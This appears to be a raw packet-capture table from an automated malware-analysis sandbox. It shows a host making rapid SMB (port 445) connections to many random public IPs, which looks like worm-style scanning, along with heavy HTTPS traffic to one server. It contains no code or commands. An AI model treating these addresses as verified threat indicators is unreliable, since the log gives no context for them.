Jul 20, 2022 06:06:49.361418009 CEST	50647	445	192.168.2.6	112.83.160.24
Jul 20, 2022 06:06:49.361515045 CEST	50650	445	192.168.2.6	187.38.115.58
Jul 20, 2022 06:06:49.361521006 CEST	50648	445	192.168.2.6	173.185.150.186
Jul 20, 2022 06:06:49.362200022 CEST	50649	445	192.168.2.6	88.131.32.58
Jul 20, 2022 06:06:49.372149944 CEST	50651	445	192.168.2.6	172.81.214.104
Jul 20, 2022 06:06:49.434592009 CEST	50652	445	192.168.2.6	220.184.49.58
Jul 20, 2022 06:06:49.435184956 CEST	50653	445	192.168.2.6	150.13.0.53
Jul 20, 2022 06:06:49.437331915 CEST	50654	445	192.168.2.6	100.138.31.56
Jul 20, 2022 06:06:49.437849998 CEST	50655	445	192.168.2.6	62.75.117.186
Jul 20, 2022 06:06:49.438339949 CEST	50656	445	192.168.2.6	27.177.231.113
Jul 20, 2022 06:06:49.438847065 CEST	50657	445	192.168.2.6	86.204.48.211
Jul 20, 2022 06:06:49.439349890 CEST	50658	445	192.168.2.6	174.195.16.53
Jul 20, 2022 06:06:49.439838886 CEST	50659	445	192.168.2.6	172.174.241.215
Jul 20, 2022 06:06:49.965812922 CEST	50660	445	192.168.2.6	197.66.211.177
Jul 20, 2022 06:06:50.044450998 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.044508934 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.044622898 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.049555063 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.049578905 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.085228920 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.085335970 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.162617922 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.162651062 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.162904978 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.162915945 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.163017035 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.163043022 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.163254976 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.163315058 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.163335085 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.163361073 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.163393974 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.163568974 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.163816929 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.163857937 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.163885117 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.166043997 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.166062117 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.166402102 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.166430950 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.166657925 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.166670084 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.166692972 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.166702986 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.166908979 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.167587996 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.168967009 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.169039011 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.184040070 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.184067011 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.184087038 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.184118986 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.184150934 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.184169054 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.184211969 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.184237003 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.184357882 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.184384108 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.184398890 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.184413910 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.184433937 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.184436083 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.184465885 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.184487104 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.184505939 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.184506893 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.184545040 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.184550047 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.184595108 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.185161114 CEST	50662	445	192.168.2.6	185.218.67.68
Jul 20, 2022 06:06:50.185163975 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.188870907 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.188899994 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.188967943 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.188981056 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.188994884 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.189001083 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.189028978 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.189043999 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.189050913 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.189059973 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.189100981 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.189119101 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.189122915 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.189126968 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.189146042 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.189162016 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.189165115 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.189182997 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.189217091 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.189220905 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.189225912 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.189258099 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.189296007 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.189903021 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.189928055 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.190032005 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.190052032 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.190113068 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.190120935 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.190138102 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.190160990 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.190196991 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.190212011 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.190227032 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.190231085 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.190258980 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.190295935 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.190304041 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.190308094 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.190310955 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.190376997 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.190392017 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.190392971 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.190396070 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.190453053 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.190495968 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.190502882 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.190680027 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.190711021 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.190758944 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.190809011 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.190828085 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.190853119 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.190887928 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.191174984 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.191263914 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.191293001 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.191302061 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.191356897 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.191364050 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.191587925 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.191644907 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.191675901 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.191689968 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.191767931 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.191786051 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.191981077 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.192081928 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.192109108 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.192110062 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.192163944 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.192315102 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.192321062 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.192523003 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.192590952 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.194089890 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.194190979 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.194219112 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.194252014 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.194318056 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.194322109 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.198884010 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.198916912 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.199095011 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.199119091 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.199177980 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.199311018 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.199356079 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.199430943 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.199450970 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.199485064 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.199501991 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.202207088 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.202265978 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.202348948 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.202366114 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.202405930 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.202430964 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.207377911 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.207489967 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.207506895 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.207990885 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.208851099 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.208975077 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.211280107 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.211312056 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.211415052 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.211426973 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.211493969 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.212344885 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.212372065 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.212455034 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.212466002 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.212501049 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.212519884 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.212658882 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.212708950 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.212764978 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.212783098 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.212800980 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.212833881 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.212975025 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.213006973 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.213125944 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.213138103 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.213184118 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.213200092 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.213885069 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.214023113 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.214416027 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.214440107 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.214528084 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.214545965 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.214603901 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.214607954 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.214617968 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.214627981 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.214715958 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.214728117 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.214735985 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.214772940 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.214955091 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.214978933 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.215145111 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.215153933 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.215334892 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.215348005 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.215436935 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.215553045 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.215586901 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.215656042 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.215661049 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.215711117 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.215722084 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.215758085 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.215787888 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.215894938 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.216008902 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.216346025 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.216468096 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.216511965 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.216543913 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.216614008 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.216628075 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.216662884 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.216701031 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.217245102 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.217273951 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.217397928 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.217398882 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.217417955 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.217426062 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.217499971 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.217513084 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.217536926 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.217552900 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.217564106 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.218389988 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.218513966 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.218872070 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.218919039 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.218992949 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.219006062 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.219022036 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.219091892 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.219122887 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.219223976 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.219229937 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.219242096 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.219250917 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.219403028 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.219538927 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.219544888 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.220711946 CEST	50663	445	192.168.2.6	178.159.42.7
Jul 20, 2022 06:06:50.221401930 CEST	50664	445	192.168.2.6	37.21.160.8
Jul 20, 2022 06:06:50.225824118 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.225850105 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.225940943 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.225965977 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.225999117 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.226037025 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.226121902 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.226186991 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.226239920 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.226258039 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.226288080 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.226321936 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.226515055 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.226567984 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.226615906 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.226627111 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.226675034 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.226733923 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.231786966 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.231811047 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.231952906 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.231985092 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.231998920 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.232021093 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.232083082 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.232108116 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.232124090 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.232124090 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.232494116 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.232605934 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.232620001 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.232676983 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.232795954 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.232912064 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.234122038 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.234147072 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.234322071 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.234349012 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.234420061 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.234435081 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.234535933 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.234685898 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.234715939 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.234797001 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.234810114 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.234852076 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.234889984 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.236161947 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.236268044 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.236306906 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.236330032 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.236416101 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.236428022 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.236490965 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.236761093 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.236783981 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.236937046 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.236974001 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.237124920 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.237466097 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.237495899 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.237504005 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.237529993 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.237584114 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.237607956 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.237693071 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.237704992 CEST	443	50631	80.67.82.211	192.168.2.6
